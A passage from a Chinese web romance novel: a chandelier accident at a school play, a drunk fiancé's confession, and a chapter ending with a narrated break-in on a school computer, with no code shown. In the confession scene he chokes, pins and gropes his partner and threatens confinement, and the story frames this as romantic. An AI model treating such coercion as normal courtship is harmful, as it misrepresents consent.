众星云集,光是看F4中的三位亲自登场,装模作样地穿上戏服念着台词,就足以让底下的学生纷纷举着手机拍个不停。 “很遗憾,勇士,你最终还是来迟了一步。你心爱的公主已经被临死的吸血鬼魔王以血作契约,刻下了不可磨灭的诅咒。” “陛下,你是说任何人都没法解开它么?你是说我的爱人要永远沉睡于此,我们今生不得相见?” 舞台剧最后一幕。透明的水晶棺摆在吊灯下方,虞听站在棺后,一个半小时过去,他的视线不可避免地有些发直,观众席的面孔逐渐模糊,他勉强维持站姿端庄,实则放空地望着前面慷慨陈词的几位演员的背影。 再坚持几分钟就好了,虞听心中弱弱地自我安慰。 ……只是台下那些手机闪光灯怎么到现在还在闪,而且好像一直在对着自己? 虞听迷迷糊糊地回忆,可他精疲力尽,脚跟的酸痛和这身反人类的女装长裙夺去了他一切的注意力,连不久前他第一次登台时台下沸腾一般的山呼海啸都记不得了。事实上每次轮到虞听那一闪而过的登台,即便是杵在角落里当个人形看板,台下的气氛都会热烈很多,快门的咔嚓声堪比娱乐圈红毯发布会。 应该,是在拍女主角吧……? 虞听默默垂眸向下看。演员们激烈的台词声中,“公主”殿下平躺在水晶棺内,双手交叠放在小腹上,阖着双眸,仿佛当真睡着了一般。 当女主角也蛮不错的嘛,虞听心说,都是当花瓶,好歹人家可以躺着不动……除了稍后要被王子落下那命定的一吻——各种意义上,公主必须要迎来的一个吻,一个戏里戏外都标志着感情升温的吻。 还是不羡慕公主了。比起大庭广众下被肉麻地亲吻,他宁愿把一身美丽刑具穿戴整齐,假扮木桩。 魔王已经被打败,台上站着的都是剧本里的正面人物,虞听只有两句象征性的台词,他需要等站在最前面的希莱尔讲完一串牙酸的台词,而后将手中的道具圣水洒在水晶棺内,完成王后身为母亲对公主最后的祝祷。 在那之后就没王后什么事了。王子用吻唤醒公主,一番深情告白后,提前就位的漫天花瓣洒落,祝福的音乐响起,所有人走上台,在水晶吊灯璀璨的光芒下鞠躬致谢,拉上帷幕。 虞听不禁用余光瞄了一眼身旁的尤里乌斯。在通知完王子公主陷入沉睡这个不幸的消息后他便按剧本写的,退到自己身旁,站在他与公主的水晶棺中间。 一道刺眼的白光在尤里乌斯脸上飞速划过,速度之快连尤里乌斯本人都毫无察觉。 虞听怔了一下。他眨眨眼睛,发现不是自己劳累导致眼花,刚刚真的有一抹反常的光晃过尤里乌斯的脸。 只是舞台上灯光太绚烂了,一闪而过的光实在难以被察觉,更找不到光源。 “我不相信,”希莱尔的声音从舞台最前方传来,他正背对所有演员,面向观众,“我不相信这世界上有什么恶毒的魔法连真爱都可以摧毁,魔王的诅咒又有何惧?” 一个念头如利箭射中了虞听。 是他们正上方那盏巨大的水晶吊灯! 他终于知道自己上台之前那说不出来的不祥感是因为什么了。他们头顶这水晶吊灯正摇摇欲坠,而悬挂的缆绳已经在断裂的边缘。 全场灯光在咔哒的跳闸声中瞬间熄灭,整个礼堂陷入一片黑暗,只有来不及关上的闪光灯如宇宙中的星星零星闪烁着,台下惊呼声此起彼伏,希莱尔的演讲也戛然而止。 “停电了?” “保持安静!”前排有老师站起来,“同学们别乱动,小心发生踩踏!” 黑暗让其他感官成倍的放大,虞听觑起眼睛适应昏暗的环境,突然舞台上传来一声撕心裂肺的低吼: “闪开!!” 是林抚。白骑士在舞台的最边缘,台词讲完之后他也已经处于待命的状态,吊灯的异常他比虞听发现得还早。黑暗中希莱尔转过身,看见林抚穿着道具盔甲的身影从幕布后扑出来—— 可还是晚了。 哗啦一声巨响,水晶吊灯如雪崩般轰然坠落! 虞听想后撤,可偏偏他穿着的是崴脚的高跟鞋和沉重的拖地长裙,电光火石间,水晶吊灯已向他砸来,而他躲无可躲! 一声巨响,伴随着无数碎裂声,舞台下惊叫四起! 礼堂彻底陷入失控和混乱,不少学生爬上座椅,已经准备夺路而逃。 仅仅数秒钟后,啪的一声,满场的灯光次第亮起。 电力恢复了。 睫羽一阵颤抖,虞听喘息着,睁开眼睛。 他没有死。恰恰相反,他还全须全尾地活在台上,视线因为突然恢复的强光一阵模糊,虞听身上没有任何痛觉或伤口,他下意识伸手摸索,却发现自己的手臂动弹不得。 不止手臂,他的整个身体都动弹不得,被某种重量死死地压着。但不止如此,水晶灯砸下的瞬间,还有一股力量将他撞得后退,水晶吊灯不偏不倚砸在他原本站着的位置,死神就这样与他擦身而过。 虞听忍着生理性的颤抖,抬头看去。 满地破碎的玻璃如一片琉璃海。希莱尔摔倒在地,震惊地看着舞台上的一切;林抚踉跄着单膝跪地,惊魂未定地剧烈喘息;而尤里乌斯·索恩瘫倒在裂开的水晶棺旁,双目紧闭,呼吸微弱,大片鲜血从他胸前涌出,染红了华贵的国王戏服。 虞听心漏跳了一拍:“尤里——” 掀动的一角黑色披风闯入视野,虞听怔忪抬眸,对上一双黧黑深邃的眼睛。 魔王的黑袍之下,燕寻单手紧紧搂住虞听的腰,同时解下披风围在他身上,青年面沉如水,可即便他动作迅速,右臂上那一道割开衣服,深深的,渗着血的伤痕还是映入虞听眼帘。 虞听连呼吸都忘了,怔怔望着台上这个不速之客。 “这里危险,不能久留。”魔王垂下眼帘,沉声道,“跟着我离开这,虞听。”—— 作者有话说:怕有宝子们没看懂稍微解释一下,这里小鱼其实是被尤里乌斯和燕寻同时救了哈,毕竟这么突然的情况下只靠一个人就反应过来太不现实了 事后的烟熏哥:幸亏当时打听了一下预备B角的事,不然我就成鳏夫了[小丑] 第40章 第 40 章 这一生除了你,我不会再…… 赛罗米尔, 礼堂正门外。 从意外事故发生,到十几辆警车与救护车风驰电掣而来,总共不过七八分钟。 校园外已经拉起了警戒线, 若是从半空中看去,上百辆价值七位数的豪车将校外车道堵得水泄不通的景象称得上一句蔚为壮观。 大门前台阶下。 “还有其他伤者吗, 副校长先生?”一名警官从疏散的小队中挤出来,向布莱克副校长敬了个礼,尖锐的警笛声几乎刺破夜空, 他不得不扯着嗓子大吼, “请让学院的安保负责人协助我们疏散, 消息传出去, 外面来接学生的车子多得要命!” 布莱克副校长脸色铁青:“我会的, 警官, 学院有紧急用途的直升机,麻烦帮我们把一位学生送到最近的医院,他伤情有点严重!” “好, ”警官回身招手, “你们几个跟我来!” 夜风刀子似的刮着骨头缝,学生们三两结伴, 裹紧了大衣顶风穿过操场向校门外跑去,个个如慌忙逃窜的惊弓之鸟。 礼堂被救护车和警车闪烁的车灯照亮,护士们神色严峻,为几分钟前受伤的学生们简单处理伤口和包扎。亲眼看见上百公斤的水晶吊灯砸得粉碎, 人群短暂地出现了失控, 场小规模的踩踏事故还是不幸发生。 某一辆救护车停在最外围,后门敞开着,一个青年倚坐在车边, 另一个青年站在他身旁。 “同学,需要帮助吗?”一个稍微得空的护士走过来,把毯子披在坐着的青年身上。 两个人看起来都没受什么伤,只有个子略高的那个胳膊上简单打了止血绷带,护士稍微放下心来,甚至分神细看了一眼,两个年轻人与小护士年龄相仿,坐着的皮肤雪白,一头乌木般的黑发,侧脸俊美安静,另一个站在阴影里,看不清面容,只大概瞧出一个不俗的轮廓。 站着的人开口,声音低沉磁性:“不用了,谢谢。” 小护士点点头:“有什么事记得随时叫我们。” 坐着的青年对小护士点头,勾起一个礼貌却有些惨淡的微笑。受到惊吓魂不守舍是正常的,小护士转身边走边回味地心想,不过这小帅哥丢了魂儿的模样,即便是小姑娘们见了也要说一句我见犹怜…… 等护士走远,燕寻上前一步,他的臂弯里还挂着不久前系在身上的那件属于魔王的黑色披风。 他把虞听的毯子拿下来,捏了捏他单薄的肩:“先跟我回家。” 虞听手里捧着杯热水,浓长的睫羽仿佛沉重得抬不起来。 “尤里乌斯他受伤了。”虞听说。 燕寻眉头抽动:“索恩家不会让自己刚刚宣布的继承人有任何危险的。虞听,这里不方便,有什么回庄园再说。” 虞听细长的手指将纸杯微微捏变了形。 他一掀眼皮,眼尾染着酡红。 “你不觉得有很多事,现在说已经太晚了吗?”虞听问。 燕寻眼里的光一动:“虞——” “小听!好孩子,你可吓死叔叔了……”布莱克副校长总算摆脱了警官和试图冲进来采访的媒体,看见虞听的那一刻他仿佛要哭了,“你没事就好,你要是也有个三长两短,叔叔我真的没法和你父亲,和校董会交待了!” 虞听愣了愣,扭头不再瞪着燕寻,抿唇不吭声。布莱克副校长气喘吁吁地跑过来,抚着虞听的后背:“惹上索恩家族就够倒霉了,叔叔实在承受不起第二个,尤其是你那位父亲……舞台上吓坏了吧?小可怜,瞧你眼睛红的,别害怕,啊……” “副校长先生。”燕寻对布莱克副校长点头,“刚刚我看见门口有很多媒体想要闯进来采访。您需不需要出面稳定一下?” “燕寻,你也在这!”副校长一脸愁容,“那些媒体鼻子比狗都灵,比水草还缠人!尤里乌斯送到医院已经够他们报道上三天三夜了……校长不在,也只有我去应付他们。” “我和虞听同学先回去了,留在这儿也只会给学院添乱,说不定还会被什么无良媒体抓拍到大做文章。”燕寻说。 “说的是,”布莱克副校长挥挥手,“快回去吧。神明保佑,今晚学生们一个也别出事……” 布莱克比着十字忐忑地离开了。燕寻侧过身对虞听挑眉。 “你听到了。”他说。 虞听绷着脸,轻轻一挥拂开燕寻递过来的手,穿过横七竖八停着的警车,大步向停车场走去。 * 一楼大门被推开,燕寻和虞听一前一后进门。虞听目不斜视地走上楼梯,安珀罗斯一路直冲过来:“小少爷,听说学校礼堂出了事故,是真的吗?您有没有受伤——” 他跟在虞听后面小跑上二楼,无论怎么问对方也没有半句回答,安珀罗斯脚步慢下来,怔愣地看着两个人关上房门,把他隔绝在外。 管家从楼上走下来:“出什么事了?” “没什么,”安珀罗斯忧心忡忡,“少爷他们看起来好像不大愉快。” “虽然不知道发生了什么,不过大约只是一时气昏了头,不会出事的。” “可我看见小虞少爷表情难看极了,就连少爷也……” 管家耸耸肩:“你没发现少爷居然破天荒地把人领进卧房了么?” 主卧内。 “现在可以谈谈了吧。”虞听在沙发上坐下来,“今天晚上你为什么一直不在又?” 燕寻脱下外套搭在椅背上,松了松领带:“你想说我的毕业典礼还是校庆?这东西我向来不在乎,做给他人看的仪式只是浪费时间。” 虞听:“别避开重点,为什么会穿着舞台剧的戏服出现在后台?” 燕寻走到茶桌边,给自己倒了一杯茶,还不忘顺便给虞听倒了一杯。 “像样的舞台剧都会有AB角。”燕寻呷了一口茶,“文体部长拜托我,我想着反正也不会真的轮到我出场,连续拒绝同一个人两次实在不够给人情面。” “文体部长有那个胆子拜托你当一个你拒演过的B角?”虞听冷笑,“燕寻,你当我是傻子?” 他脸上的冷笑忽然迟滞了一瞬,盯着燕寻握着茶杯的手,那只手正微不可察地发颤。 “你怎么了?”他敏锐地问。 燕寻放下茶杯,在侧面的单人沙发上坐下来,靠在椅背里,两腿微微岔开,那是一个人在极度疲惫下才会有的姿势,虽然放松,但对于燕氏这种贵族家庭来说,在公共场合绝对禁止出现。 “什么怎么了。”燕寻嗓子有点沙哑。 虞听盯了他一会儿,站起身走到单人沙发边,二人膝盖相碰。 他轻轻吸了口气:“你身上有酒味。” 燕寻闭上眼睛。虞听这才发现燕寻额发也有些凌乱,有几缕贴在汗湿的额上。 “你出去喝酒喝到烂醉?”虞听实打实地被自己的发现吓了一跳,“你和谁出去鬼混?” “我没喝多。”燕寻闭着眼睛回道。 “你身上的酒气有多重你知道吗!”虞听咬牙,“礼堂当时太乱了,我居然没注意……燕寻你到底想干什么?” 假期时他们为了父亲的提案与怀特议员应酬过,他见识过燕寻的酒量,不说千杯不醉,但也已经相当可观。酒品就更不必多言,不如说自从认识燕寻以来,他就没见这人和谁出去喝酒寻欢过,洁身自好到完全不像个富N代。 燕寻抬手捏着眉心,眉间的川字深得仿佛刻进去一般。 “我以为你不是喜欢饮酒作乐的人,”虞听深吸了口气,“是因为考上了伊斯特芬,怕自己进去之后要过上几年,甚至一辈子苦行僧的军旅生活吗?我现在反倒很好奇了,燕寻,是什么让你离开温柔乡,急匆匆回到赛罗米尔,就因为一场愚蠢的舞台剧?” 燕寻放下手,撑着扶手站起身:“这都不重要。” “那你说什么重要!”虞听瞬间怒了,“不追究你为什么酗酒为什么自甘堕落,这才重要对吗?” 他们站得很近,燕寻被吼得偏了偏头,反而无奈地笑了。 他的声音含着漫不经心的笑,浸了龙舌兰般的醉意:“你是不是和我母亲取过经啊,虞听。小时候父亲在酒局上脱不开身,回家之后她也会这么教训父亲,简直一模一样。” “伯父?”虞听嗤笑,“就算伯父参加酒局也是为了家人,和你不一样!瞧瞧你这个前言不搭后语,颓废的样子!” 燕寻短暂地愣了愣神。 “颓废吗?”他喃喃地问。 虞听恨铁不成钢地瞪着他。燕寻满脸倦色,看了他一会儿,转过身摆摆手:“回你的房间吧。” 虞听追上去:“回个屁!你不告诉我你去了哪儿,我就不走!” 燕寻挣开虞听的手,虞听的力气对他来说什么都不算,可今天燕寻喝得确实过于醉了,脚步踉跄一下,扶住衣帽间的门。 他背对着虞听:“你冷静点,小听。” 虞听的心陡然一坠。 但他还是咬了咬唇:“我现在很冷静。你醉了,燕寻,如果等到明天太阳升起来,你又变成那个清醒的燕少爷,我不想听好听的场面话,我想听真话,哪怕它是醉话。” 燕寻低低地笑:“想听我说真话的人多了,你又凭什么?” “凭我是你的未婚夫!”虞听高声道。 苦笑声消失了。 燕寻喉结滚了滚,站直身子,转过身。 “今天是虞中将的议案在上议院内部公投的日子。”燕寻一字一句道。 虞听愣住。 燕寻一步步向他走来,脚步稳得令他心惊肉跳。 “我知道你想说公投日期不是今天。”燕寻说,“我让燕氏在上议院的人天天盯着,果不其然,日期被提前了。离我们预计的票数还差不少,想要说服那些摇摆的议员,靠摆事实讲道理已经来不及。” “所以,”虞听声音有些颤抖,“你做了什么?” 燕寻呵笑出声。 “还能做什么,”他不以为意地慵懒道,“给他们一场酒局,直到他们满意为止。” 虞听瞳孔微缩:“你陪他们喝酒?可他们岂不知道你是——” “如果你是上议院的中立派,”燕寻懒懒打断他,“你发现自己突然捏住了一个把柄,无论你开多少瓶酒对方都必须喝下,而且对方还是你十世都高攀不起的燕氏……你会怎么做?” 虞听哑口无言。他怎么也想不到燕寻是在替自己与那些中立派交际,燕寻说的不错,那些得意忘形的老议员不会放过此生唯一一个折磨尊贵的燕氏少爷取乐的机会,可说到底为他挡酒的燕寻也不过是个二十出头的年轻人。 “不过好在,”燕寻走到沙发后,撑着靠背淡淡地看着虞听,“投票已经结束,议案通过了。海外军演可以正常进行,就算真的有战争,经费也不会被削减,虞伯父的事你不必再担心。” 虞听缓慢地摇摇头。 “我担心的不是……”虞听抿了抿唇,“我担心你吃不消。” 燕寻眼里的光闪了闪,侧目。 “至于方才你问的回学院的事,”燕寻道,“舞台剧的确很蠢,可学生会为我留了一个位子,我没有理由不来。但你不觉得一切太蹊跷了吗?虞中将的议案公投,恰好在这一天,中将唯一的孩子差点命丧舞台,这难道不是一场蓄意谋杀?” “你想说什么?” 燕寻冷静极了:“我已经委托我父亲的秘书帕雷调查了一些事。谁在捣鬼,很快就会水落石出。” 虞听茫然地望着他,良久。 “为什么要这么做?”他轻声问,“燕寻,为什么为我做到这种地步?” 燕寻的目光倏地转回来,瞬也不瞬地深望着他。 “为什么,”他重复,“为你做到这种地步?” 他发出瘆人的轻笑:“我做这些,你到现在还不明白是因为什么吗?” 在虞听悚然的注视下,燕寻撑着椅背,倾身向前。 “因为你是我的,未婚夫啊,”燕寻唤道,“小听。” 他看着虞听仿佛听见什么天方夜谭的神色,吃吃地一笑:“不是你先说的么?就凭你是未婚夫,你就能过问我的一切。是啊……因为我们是未婚夫夫,所以我为你尽心竭力,万死不辞。” “这么做让你很困扰么?没关系,很快你就不会再有这种顾虑。因为我们的关系很快就结束了。” 燕寻微微笑着,他口齿清晰,表达流畅,可方才谈及虞听安危时那凌厉的目光褪去了,某种裹挟着酒意的倦怠与麻木涌上青年的眼底。 “我们各自的目的终于都达到了。”他轻声说,“下一步是不是就要分别,然后把协议婚约的事公之于众,再下一步,是不是就要等着那些三流货色一个个敲响你的门,排着队光明正大地追求你?” 虞听下意识舔了舔下唇:“……你说什么?” “作为和你深度合作过的搭档,我来帮你参谋参谋吧,”燕寻绕过沙发向虞听走过来,“希莱尔·欧文第一个排除,头脑简单的暴躁狂,和他结婚,除非你爱好对牛弹琴。林抚则是个书呆子,过犹不及也不可取……索恩家那个更是绝无可能,即便他舍身救你,也只是拙劣的苦肉计……怪不得你说不想结婚,虞听,瞧瞧这些惨不忍睹的追求者,你的后半生哪还有什么指望?” 虞听两腮咬紧:“你到底想要说什么!” “我什么也不想说!”燕寻用力一挥手,“我只想说你眼瞎了虞听,你纵容一群无药可救的蠢货像苍蝇一样围在你身边,可只要我往前一步你就问我为什么为什么为什么,说我越界!” 卧室倏然寂静。 “燕寻,”良久,虞听轻启双唇,“你——” “这是你对我的报复,是么?”燕寻眼里闪过一丝悲凉,“因为当初一切都是我主动提出的,因为我自作自受……可你就真的看不出来么虞听,我们相遇至今的一切,你真的,什么都不明白?” 他身子微微摇晃了一下,走到虞听面前。 “我后悔了。”燕寻缓慢地说,“我想和你假戏真做,小听,我不想取消婚约了,这一生除了你,我不会再倾心于第二个人。” 脑中回荡起蜂群般的嗡鸣。虞听想说话,他该说点什么回应的,可他的下巴僵住了,很久他才反应过来,自己的牙关居然在咯吱咯吱地轻微颤抖。 “你喝醉了,”虞听难以置信地看着他,“你醉得厉害。” “醉?”燕寻古怪地一笑,“我要是醉了,想干的事可比站在这傻乎乎地和你说话要混账得多,你知道我想干什么吗?” 他突然伸手,像捉住什么小动物一样攥住虞听的颈!虞听被他按在沙发上,燕寻高大的身影欺身压下,虞听压抑地咳嗽,胸口激烈起伏:“你放手!” “受不了?”燕寻另一只手探进裙下——没错,在车上虞听只来得及摘下让他呼吸困难的束腰和滑稽的假发,这身游乐园花车似的晚礼服裙还穿在他身上,而燕寻的手探囊取物一般摸上虞听挣扎的腿。 “你现在还是我的未婚夫,就算我对你做点什么,咱们两家人也只当是时下年轻人的情调吧?”燕寻眼里闪着危险的光,“把你锁在这间屋子里,再向赛罗米尔提交一份你的休学申请,从今往后那些打着你主意的下三滥再也别想见到你一面……” 他骨节分明的大手蓦然掐住虞听苍白的大腿,用力到内侧的软肉从指缝中溢出,宛如羊脂玉。 “你说我要是现在毁约,让你今生今世困在燕氏,你又能够如何?”他嘶嘶地问。 虞听一挺身,抽出胳膊反手给了燕寻一个耳光:“滚下去!” 巴掌结结实实抽在侧颊,燕寻眸光黯了黯,动作骤然发力,虞听腰身顿时软下来,喘息着瑟缩在宽大的裙装里,像缀满茂盛繁花的一束纤枝。 “我太清醒了,小听。”燕寻舌头顶了顶腮,沉沉地笑,“我有名有分,近水楼台,却放任那群王八蛋向你献媚。凭什么?就因为我晚了一步,所以即便我站在这,你也对我视而不见?” 他撑在虞听身上,阴影里那双眼睛里燃着危险的火。 “该做点未婚夫夫之间早该做的事了,小听。”燕寻说。 他低下头,像嗅那朵朱丽叶玫瑰一样郑重地嗅虞听的颈侧,虞听陷在沙发里,每一次呼吸,颈间淡青色的血管都会微微浮现,燕寻鼻尖轻碰,仿佛感受着他心爱的玫瑰叶上的脉络。 青年的唇一点点靠近。 虞听闭上眼睛,睫羽簌簌颤抖,声如蚊讷。 “滚,”他呜咽着,“我不要……” 忽然间燕寻止住了,他旋即支起身,望着虞听的眼睛里那危险的火苗一点点熄灭。最开始那混杂着醉意的疲惫与不忍再度从燕寻眉宇间漫出,他的眼底逐渐变红。 “你就这么讨厌我么,”燕寻轻唤道,“小听?” 虞听身子细密一颤,睁开眼睛。 燕寻如梦初醒:“你不愿,我不逼你。我不能逼我的爱人做任何事。” 他用力阖了阖眼,松开手,将虞听抱紧,方才还挨过巴掌的脸贴着虞听的发顶狎昵地蹭,抱着虞听的胳膊却那么用力,仿佛要将人揉进骨血中。 虞听头顶传来喃喃自语声:“我知道我比不上他们。论羁绊,我谁也比不过,一个强塞给你的未婚夫,不会花言巧语,不懂体贴,不够坦率。甚至我绞尽脑汁能给你的,也尽是你本就拥有的东西……你聪明,富有,正直,没有我你照样可以做你想做的事,你要离开,我连挽留的话都说不出口。” “可是你带给我的,是我想都没有想过的好。”燕寻沙哑地说,“没遇见你之前,我不觉得自己还缺什么,可是你出现了……小听,我哪里做得不好,你告诉我,我什么都愿意改。我们结婚,做一对真夫夫,好不好?” 虞听艰难地喘息着,每一口吸入肺中的空气都酸涩得让他五脏发皱。 书里是不会有这种剧情的。 书里怎么会有这种剧情? 潦草勾勒的背景板,爱上一笔带过的工具人?他们之间该有真爱吗? 就算有,真爱或许也不会降临在狗血小说的路人甲乙丙身上。他们的纠葛是命定之外的命数,小说里不会教,他也不曾奢望。 读完一个人被剧透的一生很简单,可读完一颗心,需要多少代价? 虞听摸索着,颤抖地抬手,他的指尖抚过燕寻同样没有温度的脸,对方脸紧紧绷着,铁一样的硬。 燕寻忽的偏头躲过,低声苦笑:“我知道了。” 他彻底放开虞听,整了整乱了的衣领,站起来。 虞听愣了好一会儿,慢半拍地从沙发上翻身爬起。他的裙子被揉得皱巴,像一团废纸,头发也凌乱不堪,面色十分苍白。 燕寻转过身背对着他。 “按我们最初说的执行吧。”燕寻说。他的声音一瞬之间换回平日的冷静,甚至较之往日二人交谈时还要莫名地冷酷,仿佛那些酒后吐真言的疯狂根本不存在。 “我会去伊斯特芬军校,”他平静地叙述,“等到某一次家族宴会或者军校的假期,我会当着众人宣布和你解除婚约,并且告诉他们一切都是我在尊重你意见、得到你同意之后的决定。” 他绕过虞听,走到门边,虞听看见燕寻握住门把的手有一瞬间微不可察的颤抖。 燕寻打开门。 “你走吧。你留在这,我害怕自己控制不住又会做出什么。”燕寻轻轻地说,“明天早晨太阳升起来的时候,今晚的一切都不会留下任何痕迹……就当做今晚只是一场荒唐的梦吧。”—— 作者有话说:当初有多潇洒,如今就有多心碎[狗头] 不过烟熏哥男德这一块还是没得说的,即便喝高了也绝不强迫小鱼就范[熊猫头]《 》 40-43 第41章 第 41 章 你想要我来,所以我就来…… 第二天早上, 安珀罗斯告诉虞听,燕寻提前去伊斯特芬报道了。 这位赛罗米尔学院的优秀学子的毕业季提前结束了,结束在一个寒凉未泯的春天。 在虞听的请求下, 管家为虞听打开了燕寻的主卧房门。拉开衣帽间的门,衣服还整齐地挂在柜子里, 一排排沉闷肃穆的颜色,像一场寂静的默哀。 几乎什么都没有带走。燕寻的离开是突兀的,可当虞听在床边坐下, 抚摸着冰凉的蚕丝被时, 他忽然明白, 没有哪一场离开不是早有预谋。 明明是自己的家, 明明心中已经无数次地演练过, 可并不妨碍这一天真正到来时, 依然像个手下败将一样落荒而逃。 “少爷走的时候嘱咐我,一定要照顾好您,让您在这想住多久就住多久。”管家规矩地站在门口, 不往里踏一步, “小少爷,容我这个老头子多问一句, 少爷为什么会这么说?他走得这么匆忙,是不是出了什么事?” 阳光透过窗帘的缝隙刻在墙上,留下一丝锋利的金线。 虞听起身,将窗帘一把拉开, 刺眼的光吞噬了每一处角落的阴影。 “什么都没有, ”他轻声说,“我们走吧。” * 新老学生们来的来,走的走, 一切照常。 唯有一个舆论在学院不胫而走。 尤里乌斯·索恩重伤住院了。躺在高级监护病房里,戴着氧气面罩,至今昏迷不醒。 “总之,那天你也是亲历者,情况小听你是知道的。” 办公室内开着窗户,然而布莱克副校长还是不断用手帕擦着汗。他看起来白头发都多了好几根,虞听看着他,内心泛起真切的同情。 “校长大发雷霆,好多人都被炒了鱿鱼,尤其是负责检修维护的那些人和财装处的……”布莱克副校长一脸心有戚戚,“他老人家深明大义,知道这事儿怨不到我,否则……” “叔叔,您别担心,”虞听说,“我会让我父母和校董会沟通,这事波及不到您。” “好孩子,叔叔知道从前没有白疼你!”副校长动容道,“其实今天叫你来,也是叔叔有件事想拜托你……” 虞听提起几分警觉看着他。 布莱克副校长:“算起来,尤里乌斯同学住院已经十天了,于情于理,学校都应该出面探望一下……” 他翻着日历,痛心疾首地阖眼:“可是小听,你不知道这十天校领导们是怎么过的,索恩家疯了一样地来电话,一开始甚至说要寄律师函,提起诉讼!这个时候去探望是触霉头,不去的话又说不过去……” “您的意思是,想让我作为校方代表去探望尤里乌斯?”虞听听明白了。 “大家都知道虞家和索恩家是世交嘛,”布莱克副校长讪笑,“就算叔叔不说,你也会去看看你的青梅竹马的,对不对?” “人都没有醒,去看望也只是做样子,没有意义。”虞听心说自己车祸昏迷三个月,醒来之后尤里乌斯不也是编了个冠冕堂皇的理由蒙蔽自己么? “小听,这件事你真得帮帮叔叔,”布莱克副校长哀求,“看在你家族的面子上,他们也不会多说什么的,可赛罗米尔的工作人员去了就不一定了,索恩家正愁不能当面把我们骂个狗血淋头!叔叔这么一大把年纪了……” 虞听:“叔叔,十天过去,警方还没给出个明确的调查结果?退一万步说,就算学校当初监督施工不力,水晶吊灯毕竟是临时安装上去的,正式排练前还专门做过安全测试,为什么早不掉晚不掉,偏偏在演出最后掉下来?” “我也想不通!”副校长站起来,拿起桌上的烟斗,踱步到窗边,“水晶吊灯再重也只是个道具,平时舞台上那些吊索连比它重两三倍的音响都拉得动,都是进口的最高级材料,采购时下了血本!难道财装处那群王八蛋坑我?……” 副校长叼着烟斗自言自语,口袋震动,虞听拿出手机。 一条新短信,发件人【燕少爷】。 【早安。最近睡得好吗?】 虞听默默退出聊天框。 某些人走了,但他的踪迹无处不在。只是现在虞听觉得对方不像一名铁血军人,更像个凉飕飕的背后灵。 燕寻走了十天,时不时的短信就发了十天。不幸的是攻守易势,曾经沉默寡言的人如今东拉西扯,发出的消息如同石沉大海,杳无回音。 不知道该怎么面对。假装什么都没发生过吗?还是像真正的校园青春畅销小说一样,对着对方若无其事地说出“我们还可以继续做朋友”? 手机又震动起来,新消息从最上方弹出,虞听不看也得看: 【舞台剧的事很困扰你么?安珀罗斯说你有做噩梦,他听见你给私人医生打电话要开一些安神助眠的药。】 那个两面派,耳报神! 虞听指尖一颤,方才那些伤春悲秋的惆怅一扫而空,他噼里啪啦打字,副校长的喋喋不休统统左耳进右耳出: 【你被人盗号了?不然发什么神经?】 对方秒回:【你终于肯回消息了。】 这不是重点吧!虞听深深地吐气,手机几乎陷进掌心,直到下条消息又跳出来: 【我说过,只要我哪里有问题,让你不满意的,我都会改。】 【我有说过对你哪里不满意吗?】 【没有,我推测的。合格的未婚夫要善于自省自查。我决心以后多关心你,多和你聊天,你发的信息必须第一时间回复。】 虞听呆了呆:【伊斯特芬随时都有训练,还要随时应对演习,你是怎么保住手机的?】 【前两个月是集中的理论学习。另外,我竞选了班长,使用手机的权限由我说了算。】 这已经不是背后灵级别了,分明就是被鬼上身了吧?虞听打了个冷颤。这还是那个闷骚的闷葫芦燕寻么? 他深刻反思,充满愧疚地回复:【我对你刺激就这么大吗?我向你道歉,燕少爷。正常点行不行?】 一小会儿的沉默,虞听想收起手机,掌心又传来一阵震动,那感觉略微酥麻,像有人握着他的掌心摩挲。 他低头看手机。 【图片】 【图片】 【听说分享日常是体贴关心的第一步。这是我今天的早餐。】 “……”那天舞台剧砸到的其实是自己的头吧?一定是自己出现幻觉了对吧? 虞听把手机收进外套内侧口袋。布莱克副校长的碎碎念告一段落,他转过身,眼含惆怅:“小听,就念在叔叔往日在学院对你不错的份儿上……” 被一个中年人含情脉脉地盯着,虞听硬着头皮:“布莱克叔叔——” 心口一阵细密的颤抖,第一时间虞听以为自己心悸了,很快他意识到那是校服内侧口袋里面的手机还在震,这十天燕寻一直如此,像吃了兴奋剂一般话痨。 “只要你帮叔叔应付过去,叔叔帮你申请一次十天的休假,学业部那边我来搞定!”副校长伸出一根手指。 虞听张了张口,突然之间,心口的震动愈发频繁剧烈起来,像是进入最后倒计时的定时炸弹,又像是某个被锁在牢笼里奋力挣扎的囚徒,拼命又徒劳地制止他开口说下去。 那震动几乎要和他的心跳愈发同频合拍,搅得他一阵心慌。 虞听下意识捂住心口,隔着外套他摸到手机坚硬的外壳,让人无端想起触摸燕寻脸颊时的温度。 “我答应你,叔叔。”虞听轻声说。 说出口的刹那,震动就消失了,猝然让人以为是错觉。 “太棒了!”布莱克副校长喜出望外,“那就这么定了孩子,探视礼物我让财装部准备好,你什么也不用管……” 虞听摇摇头:“不用了。” 在副校长茫然的注视下,虞听缓缓放下手。手机莫名的滚烫又熨帖,虞听喘不过气来,心脏突突直跳,他脸色苍白,垂下的眼帘却激起薄红,如晕开的胭脂。 “叔叔说得对,这次去看他,也有一些我个人的目的在里面。我总觉得这一次,一定能发现很多秘密。”虞听道。 * 三天后。 安保锁上办公楼大门,披上大衣吹着口哨离开。夜晚的大楼像密林中被猎人熄灭的篝火,黝黑而死静。 安保彻底走远了,几分钟后,顶楼的某一扇窗户透出一缕若有若无的蓝光,萤火虫般幽微。 教务处,办公室内。 屋里没开灯,只有两台并排的电脑屏幕亮着刺眼的光。一行一行程序流水般从一块屏幕流淌进另一块,速度之快,肉眼几乎难以跟上。 电脑主机风扇高速运转,鼠标间断地哒哒点击个不停。荧光照亮了一块方形的地板,一个瘦长的人影浮现在那暗淡的光幕中央。 众所周知,教务处里存着赛罗米尔历届学生的电子档案和成绩信息,想要篡改成绩单只需要入侵这台电脑。 可校园论坛上学生们也早就断言,宁可私闯校长办公室,也不会有人愿意在教务处电脑上动手脚,这里有最严密的物理和网络防护,没人能全身而退,除非你是皇家特工或军队里的特种兵……更不用提一旦被抓到,教务处“老妖婆”会施以多么惨无人道的惩罚。 然而在赛罗米尔,情况总有例外。 这位艺高人胆大的嫌犯坐在桌前,活动一下脖颈,开始在键盘上飞速敲打。他手速极快,复杂的指令像家常便饭一样毫不停顿地输入。 行云流水的一顿输入后,嫌犯按下回车键,程序运行的速度更快了,滚动的黑底白字倒映在嫌犯的平光镜片上,模糊了他本就冰冷的眉眼。 一丝凉意袭来,嫌犯双手十指交叠抵在鼻尖,锋利的眉一动不动,眼神微微移开。 “落了锁之后还跑进来,就没想过被家人发现夜不归宿?”一道声音传来。 嫌犯眉头悍然一跳,猛地起身! 